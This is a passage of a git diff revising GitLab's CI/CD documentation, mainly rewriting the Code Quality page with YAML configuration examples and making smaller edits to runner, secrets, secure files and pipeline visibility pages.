- For **Internal** projects, to all authenticated users except [external users](../../user/admin_area/external_users.md). - For **Private** projects, to all project members (Guest or higher). When it is cleared: @@ -41,7 +41,7 @@ To change the visibility of your pipelines and related features: and the **CI/CD** menu items are visible only to project members (Reporter or higher). Other users, including guest users, can only view the status of pipelines and jobs, and only when viewing merge requests or commits. - - For **Internal** projects, pipelines are visible to all logged in users except [external users](../../user/admin_area/external_users.md). + - For **Internal** projects, pipelines are visible to all authenticated users except [external users](../../user/admin_area/external_users.md). Related features are visible only to project members (Reporter or higher). - For **Private** projects, pipelines and related features are visible to project members (Reporter or higher) only. @@ -343,6 +343,7 @@ Depending on the status of your pipeline, a badge can have the following values: - `passed` - `failed` - `skipped` +- `manual` - `canceled` - `unknown` diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index 8d71f4569e5..b9e0e39396c 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -138,11 +138,8 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword - Use the [pipeline editor](../pipeline_editor/index.md) to edit your `.gitlab-ci.yml` file. - Each job contains a script section and belongs to a stage: - - The [`default`](../yaml/index.md#default) keyword is for - custom defaults, for example with [`before_script`](../yaml/index.md#before_script) - and [`after_script`](../yaml/index.md#after_script). - [`stage`](../yaml/index.md#stage) describes the sequential execution of jobs. - Jobs in a single stage run in parallel as long as there are available runners. + If there are runners available, jobs in a single stage run in parallel. - Use the [`needs` keyword](../yaml/index.md#needs) to run jobs out of stage order. This creates a [Directed Acyclic Graph (DAG)](../directed_acyclic_graph/index.md). - You can set additional configuration to customize how your jobs and stages perform: @@ -152,6 +149,10 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword - Keep information across jobs and stages persistent in a pipeline with [`cache`](../yaml/index.md#cache) and [`artifacts`](../yaml/index.md#artifacts). These keywords are ways to store dependencies and job output, even when using ephemeral runners for each job. + - Use the [`default`](../yaml/index.md#default) keyword to specify additional + configurations that are applied to all jobs. This keyword is often used to define + [`before_script`](../yaml/index.md#before_script) and [`after_script`](../yaml/index.md#after_script) + sections that should run on every job. ## Related topics diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md index b61e11dd8bc..28a856e3dda 100644 --- a/doc/ci/runners/configure_runners.md +++ b/doc/ci/runners/configure_runners.md @@ -159,7 +159,7 @@ To view the IP address of a shared runner you must have administrator access to the GitLab instance. To determine this: 1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Overview > Runners**. +1. On the left sidebar, select **CI/CD > Runners**. 1. Find the runner in the table and view the **IP Address** column. ![shared runner IP address](img/shared_runner_ip_address_14_5.png) @@ -637,13 +637,12 @@ test: - pwd ``` -The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` +The `GIT_CLONE_PATH` must always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) setting. This can only be used when `custom_build_dir` is enabled in the [runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). -This is the default configuration for the `docker` and `kubernetes` executors. #### Handling concurrency @@ -968,6 +967,24 @@ To determine which runners need to be upgraded: 1. Filter the list by status to view which individual runners need to be upgraded. +## View statistics for runner performance **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377963) in GitLab 15.8. + +As an administrator, you can view runner statistics to learn about the performance of your runner fleet. + +1. Select **Main menu > Admin**. +1. On the left sidebar, select **CI/CD > Runners**. +1. Select **View metrics**. + +The **Median job queued time** value is calculated by sampling the queue duration of the +most recent 100 jobs that were run by Instance runners. Jobs from only the latest 5000 +runners are considered. + +The median is a value that falls into the 50th percentile: half of the jobs +queued for longer than the median value, and half of the jobs queued for less than the +median value. + ## Authentication token security > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30942) in GitLab 15.3 [with a flag](../../administration/feature_flags.md) named `enforce_runner_token_expires_at`. Disabled by default. diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md index 61421f86ff5..9c380886812 100644 --- a/doc/ci/runners/saas/linux_saas_runner.md +++ b/doc/ci/runners/saas/linux_saas_runner.md @@ -105,7 +105,7 @@ can be used for: - Downloading assets from a CDN - Any other commands that must run before the `git init` -To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called +To use this feature, define a [CI/CD variable](../../../ci/variables/index.md) called `CI_PRE_CLONE_SCRIPT` that contains a bash script. NOTE: diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index bfc53210348..ba12508beeb 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -83,7 +83,7 @@ To configure your Vault server: 1. Configure roles on your Vault server, restricting roles to a project or namespace, as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. -1. [Create the following CI/CD variables](../variables/index.md#custom-cicd-variables) +1. [Create the following CI/CD variables](../variables/index.md#for-a-project) to provide details about your Vault server: - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. Required. @@ -119,7 +119,7 @@ In this example: After GitLab fetches the secret from Vault, the value is saved in a temporary file. The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`, -similar to [variables of type `file`](../variables/index.md#cicd-variable-types). +similar to [variables of type `file`](../variables/index.md#use-file-type-cicd-variables). To overwrite the default behavior, set the `file` option explicitly: diff --git a/doc/ci/secure_files/index.md b/doc/ci/secure_files/index.md index e63b671ad2b..32bc4f2d758 100644 --- a/doc/ci/secure_files/index.md +++ b/doc/ci/secure_files/index.md @@ -7,24 +7,20 @@ type: reference # Project-level Secure Files **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7. -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flag](../../administration/feature_flags.md) -named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller -than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). - -Project-level Secure Files is still in development, but you can: +Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). +The feature is still in development, but you can: - [Request a feature](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=feature_request). - [Report a bug](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=report_bug). - [Share feedback](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=general_feedback). -You can securely store files for use in CI/CD pipelines as "secure files". These files +You can securely store up to 100 files for use in CI/CD pipelines as "secure files". These files are stored securely outside of your project's repository, and are not version controlled. It is safe to store sensitive information in these files. Secure files support both -plain text and binary file types. +plain text and binary file types, but must be 5 MB or less. You can manage secure files in the project settings, or with the [secure files API](../../api/secure_files.md). diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index beebaa6d03f..bbd2f822481 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -221,7 +221,7 @@ For this solution to work, you must use You can also pass custom CI/CD [variables](../variables/index.md) to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. -For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file). ```yaml # The following variables are automatically passed down to the Postgres container diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index 972e9494126..ed16a19c7f5 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -38,7 +38,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) In the following example, the `ssh-add -` command does not display the value of `$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable -[debug logging](../variables/index.md#debug-logging). You might also want to +[debug logging](../variables/index.md#enable-debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#change-which-users-can-view-your-pipelines). ## SSH keys when using the Docker executor diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md index 8d2788539d8..4088e5e82c6 100644 --- a/doc/ci/test_cases/index.md +++ b/doc/ci/test_cases/index.md @@ -25,9 +25,9 @@ Prerequisite: To create a test case in a GitLab project: 1. Go to **CI/CD > Test Cases**. -1. Select the **New test case** button. You are taken to the new test case form. Here you can enter +1. Select **New test case**. You are taken to the new test case form. Here you can enter the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). -1. Select the **Submit test case** button. You are taken to view the new test case. +1. Select **Submit test case**. You are taken to view the new test case. ## View a test case @@ -73,7 +73,7 @@ Prerequisite: - You must have at least the Reporter role. -To archive a test case, on the test case's page, select the **Archive test case** button. +To archive a test case, on the test case's page, select **Archive test case**. To view archived test cases: diff --git a/doc/ci/testing/code_quality.md b/doc/ci/testing/code_quality.md index 8e1c3d72d3d..2a1dffe07fc 100644 --- a/doc/ci/testing/code_quality.md +++ b/doc/ci/testing/code_quality.md @@ -8,157 +8,120 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -To ensure your project's code stays simple, readable, and easy to contribute to, -you can use [GitLab CI/CD](../index.md) to analyze your source code quality. +Use Code Quality to analyze your source code's quality and complexity. This helps keep your +project's code simple, readable, and easier to maintain. Code Quality should supplement your +other review processes, not replace them. -For example, while you're implementing a feature, you can run Code Quality reports -to analyze how your improvements are impacting your code's quality. You can -use this information to ensure that your changes are improving performance rather -than degrading it. +Code Quality uses the open source Code Climate tool, and selected +[plugins](https://docs.codeclimate.com/docs/list-of-engines), to analyze your source code. +To confirm if your code's languages are covered, see the Code Climate list of +[Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). +You can extend the code coverage either by using Code Climate +[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a +[custom tool](#implement-a-custom-tool). -Code Quality: +Run Code Quality reports in your CI/CD pipeline to verify changes don't degrade your code's quality, +_before_ committing them to the default branch. -- Uses [plugins](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are - free and open source. Code Quality does not require a Code Climate - subscription. -- Runs in [pipelines](../pipelines/index.md) by using a Docker image built in the - [GitLab Code Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project. -- Uses [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults). -- Can make use of a [template](#example-configuration). -- Is available by using [Auto Code Quality](../../topics/autodevops/stages.md#auto-code-quality), provided by [Auto DevOps](../../topics/autodevops/index.md). -- Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool). - -## Summary of features per tier +## Features per tier Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), as shown in the following table: -| Capability | In Free | In Premium | In Ultimate | -|:----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------| -| [Configure scanners](#configuring-jobs-using-variables) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [Integrate custom scanners](#implementing-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [Generate JSON or HTML report artifacts](#generate-an-html-report) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [See findings in merge request widget](#code-quality-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [See reports in CI pipelines](#code-quality-reports) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | -| [See findings in merge request diff view](#code-quality-in-diff-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** | +| Capability | In Free | In Premium | In Ultimate | +|:-----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------| +| [Configure scanners](#customizing-scan-settings) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [Integrate custom scanners](#implement-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [See findings in merge request widget](#merge-request-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [Generate JSON or HTML report artifacts](#output) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [See reports in CI pipelines](#pipeline-details-view) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | +| [See findings in merge request diff view](#merge-request-changes-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** | -## Code Quality Widget +## View Code Quality results -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. +Code Quality results are shown in the: -Going a step further, GitLab can show the Code Quality report right -in the merge request widget area if a report from the target branch is available to compare to: +- Merge request widget +- Merge request changes view +- Pipeline details view -![Code Quality Widget](img/code_quality_widget_13_11.png) +### Merge request widget -Watch a quick walkthrough of Code Quality in action: - -
- See the video: Code Quality: Speed Run. -
-
- -
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -NOTE: -For one customer, the auditor found that having Code Quality, SAST, and Container Scanning all automated in GitLab CI/CD was almost better than a manual review! [Read more](https://about.gitlab.com/customers/bi_worldwide/). +Code Quality analysis results display in the merge request widget area if a report from the target +branch is available for comparison. -See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). +![Code Quality Widget](img/code_quality_widget_13_11.png) -## Code Quality in diff view **(ULTIMATE)** +### Merge request changes view **(ULTIMATE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in GitLab 13.11, disabled by default behind the `codequality_mr_diff` [feature flag](../../administration/feature_flags.md). > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12. > - [Disabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0 due to [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/334116). > - [Inline annotation added](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 14.1. -> - [Updated](https://gitlab.com/groups/gitlab-org/-/epics/8071) to handle multiple findings better in GitLab 15.7, disabled by default behind the `refactor_code_quality_inline_findings` [feature flag](../../administration/feature_flags.md). - -Changes to files in merge requests can cause Code Quality to fall if merged. In these cases, -the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example: - -![Code Quality MR diff report](img/code_quality_mr_diff_report_v15_7.png) - -## Example configuration -This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker. +Code Quality results display in the merge request **Changes** view. Lines containing Code Quality +issues are marked by an indicator beside the gutter. Hover over the marker for details of the issue. -- Using shared runners, the job should be configured For the [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker). -- Using private runners, there is an [alternative configuration](#set-up-a-private-runner-for-code-quality-without-docker-in-docker) recommended for running Code Quality analysis more efficiently. +![Code Quality MR diff report](img//code_quality_mr_diff_report_v15_7.png) -In either configuration, the runner must have enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. +### Pipeline details view **(PREMIUM)** -Once you set up GitLab Runner, include the [Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml) in your CI configuration: +The full list of Code Quality violations generated by a pipeline is shown in the **Code Quality** +tab of the pipeline's details page. -```yaml -include: - - template: Code-Quality.gitlab-ci.yml -``` - -The above example creates a `code_quality` job in your CI/CD pipeline which -scans your source code for code quality issues. The report is saved as a -[Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality) -that you can later download and analyze. - -It's also possible to override the URL to the Code Quality image by -setting the `CODE_QUALITY_IMAGE` CI/CD variable. This is particularly useful if you want -to lock in a specific version of Code Quality, or use a fork of it: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml +![Code Quality Report](img/code_quality_report_13_11.png) -code_quality: - variables: - CODE_QUALITY_IMAGE: "registry.example.com/codequality-fork:latest" -``` +## Enable Code Quality -In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), you can override the [Code Quality environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables): +Prerequisites: -```yaml -variables: - TIMEOUT_SECONDS: 1 +- GitLab CI/CD configuration (`.gitlab-ci.yml`) must include the `test` stage. +- If you're using shared runners, the Code Quality job must be configured for the + [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker). +- If you're using private runners, you should use an + [alternative configuration](#improve-code-quality-performance-with-private-runners) + recommended for running Code Quality analysis more efficiently. +- The runner must have enough disk space to store the generated Code Quality files. For example, on + the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. -include: - - template: Code-Quality.gitlab-ci.yml -``` +To enable Code Quality, either: -By default, report artifacts are not downloadable. If you need them downloadable on the -job details page, you can add `gl-code-quality-report.json` to the artifact paths like so: +- Enable [Auto DevOps](../../topics/autodevops/index.md), which includes + [Auto Code Quality](../../topics/autodevops/stages.md#auto-secret-detection). -```yaml -include: - - template: Code-Quality.gitlab-ci.yml +- Include the Code Quality template in your + `.gitlab-ci.yml` file. -code_quality: - artifacts: - paths: [gl-code-quality-report.json] -``` - -The included `code_quality` job is running in the `test` stage, so it needs to be included in your CI configuration, like so: + Example: -```yaml -stages: - - test -``` + ```yaml + include: + - template: Code-Quality.gitlab-ci.yml + ``` -NOTE: -This information is automatically extracted and shown right in the merge request widget. + Code Quality now runs in pipelines. WARNING: -On self-managed instances, if a malicious actor compromises the Code Quality job -definition they could execute privileged Docker commands on the runner -host. Having proper access control policies mitigates this attack vector by -allowing access only to trusted actors. +On self-managed instances, if a malicious actor compromises the Code Quality job definition they +could execute privileged Docker commands on the runner host. Having proper access control policies +mitigates this attack vector by allowing access only to trusted actors. + +### Improve Code Quality performance with private runners -### Set up a private runner for code quality without Docker-in-Docker +If you have private runners, you should use this configuration for improved performance of Code +Quality because: -It's possible to configure your own runners and avoid Docker-in-Docker. You can use a -configuration that may greatly speed up job execution without requiring your runners -to operate in privileged mode. +- Privileged mode is not used. +- Docker-in-Docker is not used. +- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. This alternative configuration uses socket binding to share the Runner's Docker daemon -with the job environment. Be aware that this configuration [has significant considerations](../docker/using_docker_build.md#use-docker-socket-binding) -to be consider, but may be preferable depending on your use case. +with the job environment. Before implementing this configuration, consider its +[limitations](../docker/using_docker_build.md#use-docker-socket-binding). + +To use private runners: 1. Register a new runner: @@ -223,73 +186,136 @@ to be consider, but may be preferable depending on your use case. - cq-sans-dind # Set this job to only run on our new specialized runner ``` -The end result is that: +Code Quality now runs in standard Docker mode. -- Privileged mode is not used. -- Docker-in-Docker is not used. -- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. +## Disable Code Quality -With this configuration, the run time for a second pipeline is much shorter. For example -this [small change](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/diffs?commit_id=1e705607aef7236c1b20bb6f637965f3f3e53a46) -to an [open merge request](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/pipelines) -running Code Quality analysis ran significantly faster the second time: +The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable +is present. Refer to the CI/CD variables [documentation](../variables/index.md) +to learn more about how to define one. -![Code Quality sequential runs without DinD](img/code_quality_host_bound_sequential.png) +To disable Code Quality, create a custom CI/CD variable named `CODE_QUALITY_DISABLED`, for either: -This configuration is not possible on `gitlab.com` shared runners. Shared runners -are configured with `privileged=true`, and they do not expose `docker.sock` into -the job container. As a result, socket binding cannot be used to make `docker` available -in the context of the job script. +- [The whole project](../variables/index.md#for-a-project). +- [A single pipeline](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). -[Docker-in-Docker](../docker/using_docker_build.md#use-docker-in-docker) -was chosen as an operational decision by the runner team, instead of exposing `docker.sock`. +## Customizing scan settings -### Disabling the code quality job +The Code Quality scan settings can be changed using [CI/CD variables](#available-cicd-variables) +in `.gitlab-ci.yml`. -The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable -is present. Please refer to the CI/CD variables [documentation](../variables/index.md) -to learn more about how to define one. +To configure the Code Quality job: + +1. Declare a job with the same name as the Code Quality job, after the template's inclusion. +1. Specify additional keys in the job's stanza. -To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable. -This can be done: +For an example, see [Download output in JSON format](#download-output-in-json-format). -- For [the whole project](../variables/index.md#custom-cicd-variables). -- For a single pipeline run: +### Available CI/CD variables - 1. Go to **CI/CD > Pipelines** - 1. Select **Run pipeline** - 1. Add `CODE_QUALITY_DISABLED` as the variable key, with any value. +> In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), the option to override the Code Quality environment variables was added. -### Using with merge request pipelines +Code Quality can be customized by defining available CI/CD variables: -The configuration provided by the Code Quality template does not let the `code_quality` job -run on [merge request pipelines](../pipelines/merge_request_pipelines.md). +| CI/CD variable | Description | +| --------------------------- | ----------- | +| `SOURCE_CODE` | Path to the source code to scan. | +| `TIMEOUT_SECONDS` | Custom timeout for the `codeclimate analyze` command. | +| `CODECLIMATE_DEBUG` | Set to enable [Code Climate debug mode](https://github.com/codeclimate/codeclimate#environment-variables) | +| `CODECLIMATE_DEV` | Set to enable `--dev` mode which lets you run engines not known to the CLI. | +| `REPORT_STDOUT` | Set to print the report to `STDOUT` instead of generating the usual report file. | +| `REPORT_FORMAT` | Set to control the format of the generated report file. One of: `json\|html`. | +| `ENGINE_MEMORY_LIMIT_BYTES` | Set the memory limit for engines, default is 1,024,000,000 bytes. | +| `CODE_QUALITY_DISABLED` | Prevents the Code Quality job from running. | +| `CODECLIMATE_PREFIX` | Set a prefix to use with all `docker pull` commands in CodeClimate engines. Useful for [offline scanning](https://github.com/codeclimate/codeclimate/pull/948). | -If merge request pipelines is enabled, the `code_quality:rules` must be redefined. +## Output -The template has these [`rules`](../yaml/index.md#rules) for the `code quality` job: +Code Quality creates a file named `gl-code-quality-report.json`. The content of this file is +processed internally and the results shown in the UI. To see the raw results, you can +configure the Code Quality job to allow download of this file. Format options are JSON format, HTML +format, or both. Use the HTML format to view the report in a more human-readable +format. For example, you could publish the HTML format file on GitLab Pages for even easier +reviewing. + +### Download output in JSON format + +To be able to download the Code Quality report in JSON format, declare the +`gl-code-quality-report.json` file as an artifact of the `code_quality` job: ```yaml +include: + - template: Code-Quality.gitlab-ci.yml + code_quality: - rules: - - if: $CODE_QUALITY_DISABLED - when: never - - if: $CI_COMMIT_TAG || $CI_COMMIT_BRANCH + artifacts: + paths: [gl-code-quality-report.json] ``` -If you are using merge request pipelines, your `rules` (or [`workflow: rules`](../yaml/index.md#workflow)) -might look like this example: +The full JSON file is available as a +[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +### Download output in JSON and HTML format + +> HTML report format [introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10) in GitLab 13.6. + +NOTE: +To create the HTML format file, the Code Quality job must be run twice, once for each format. +In this configuration, the JSON format file is created but it is only processed internally. + +To be able to download the Code Quality report in both JSON and HTML format, add another job to your +template by using `extends: code_quality`: ```yaml -job1: - rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" # Run job1 in merge request pipelines - - if: $CI_COMMIT_BRANCH == "main" # Run job1 in pipelines on the main branch (but not in other branch pipelines) - - if: $CI_COMMIT_TAG # Run job1 in pipelines for tags +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality_html: + extends: code_quality + variables: + REPORT_FORMAT: html + artifacts: + paths: [gl-code-quality-report.html] ``` -To make these work together, you need to overwrite the code quality `rules` -so that they match your current `rules`. From the example above, it could look like: +Both the JSON and HTML files are available as +[downloadable artifacts](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +### Download output in only HTML format + +To download the Code Quality report in _only_ an HTML format file, set `REPORT_FORMAT` to `html` in +the existing job. + +NOTE: +This does not create a JSON format file, so Code Quality results are not shown in the +merge request widget, pipeline report, or changes view. + +```yaml +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality: + variables: + REPORT_FORMAT: html + artifacts: + paths: [gl-code-quality-report.html] +``` + +The HTML file is available as a +[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +## Use Code Quality with merge request pipelines + +The default Code Quality configuration does not allow the `code_quality` job to run on +[merge request pipelines](../pipelines/merge_request_pipelines.md). + +To enable Code Quality to run on merge request pipelines, overwrite the code quality `rules`, +or [`workflow: rules`](../yaml/index.md#workflow), so that they match your current `rules`. + +For example: ```yaml include: @@ -304,14 +330,13 @@ code_quality: - if: $CI_COMMIT_TAG # Run code quality job in pipelines for tags ``` -### Configure Code Quality to use a private container image registry +## Use a private container image registry -> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in 13.7. +> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in GitLab 13.7. -To reduce network time and external dependency, you can use your own -container image registry to host the Code Quality Docker images. Because of -the nested architecture of container execution, the registry prefix must -be specifically configured to be passed down into CodeClimate's subsequent +Using a private container image registry can reduce the time taken to download images, and also +reduce external dependencies. Because of the nested architecture of container execution, the +registry prefix must be specifically configured to be passed down into CodeClimate's subsequent `docker pull` commands for individual engines. The following variables can address all of the required image pulls: @@ -320,7 +345,8 @@ The following variables can address all of the required image pulls: accessible from your job environment. GitLab Container Registry can be used here to host your own copy. - `CODECLIMATE_PREFIX`: The domain of your intended container image registry. This - is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). You must: + is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). + You must: - Include a trailing slash (`/`). - Not include a protocol prefix, such as `https://`. - `CODECLIMATE_REGISTRY_USERNAME`: An optional variable to specify the username for the registry domain parsed from `CODECLIMATE_PREFIX`. @@ -328,7 +354,7 @@ The following variables can address all of the required image pulls: ```yaml include: - - template: Jobs/Code-Quality.gitlab-ci.yml + - template: Code-Quality.gitlab-ci.yml code_quality: variables: @@ -336,13 +362,13 @@ code_quality: CODECLIMATE_PREFIX: "my-private-registry.local:12345/" ``` -This example is specific to GitLab Code Quality. For more general -instructions on how to configure DinD with a registry mirror, see the -relevant [documentation](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service). +This example is specific to GitLab Code Quality. For more general instructions on how to configure +DinD with a registry mirror, see +[Enable registry mirror for Docker-in-Docker service](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service). -#### List of images to be stored in the private container registry +### Required images -The following images are needed for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template): +The following images are required for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template): - `codeclimate/codeclimate-structure:latest` - `codeclimate/codeclimate-csslint:latest` @@ -354,30 +380,22 @@ The following images are needed for the [default `.codeclimate.yml`](https://git If you are using a custom `.codeclimate.yml` configuration file, you must add the specified plugins in your private container registry. -#### Configure Code Quality to use the Dependency Proxy +## Use DockerHub with authentication -Prerequisite: +You can use DockerHub as an alternate source of the Code Quality images. -- The project must be in a group where the [Dependency Proxy](../../user/packages/dependency_proxy/index.md) is enabled. +Prerequisites: -Here is an example of how to configure Code Quality to use the Dependency Proxy: +- Add the username and password as [protected CI/CD variables](../variables/index.md#for-a-project) + in the project. -```yaml -include: - - template: Jobs/Code-Quality.gitlab-ci.yml +To use DockerHub, configure the following variables in the `.gitlab-ci.yml` file: -code_quality: - variables: - CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" - ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. - CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ - CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER - CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD -``` +- `CODECLIMATE_PREFIX` +- `CODECLIMATE_REGISTRY_USERNAME` +- `CODECLIMATE_REGISTRY_PASSWORD` -#### Configure Code Quality to use Dockerhub with authentication - -Here is an example of how to configure Code Quality to use Dockerhub with authentication: +Example: ```yaml include: @@ -390,29 +408,43 @@ code_quality: CODECLIMATE_REGISTRY_PASSWORD: $DOCKERHUB_PASSWORD ``` -You should add the username and password as [protected CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-project) -in the project. +## Use the Dependency Proxy -## Configuring jobs using variables +You can use a Dependency Proxy to reduce the time taken to download dependencies. -The Code Quality job supports environment variables that users can set to -configure job execution at runtime. +Prerequisite: -For a 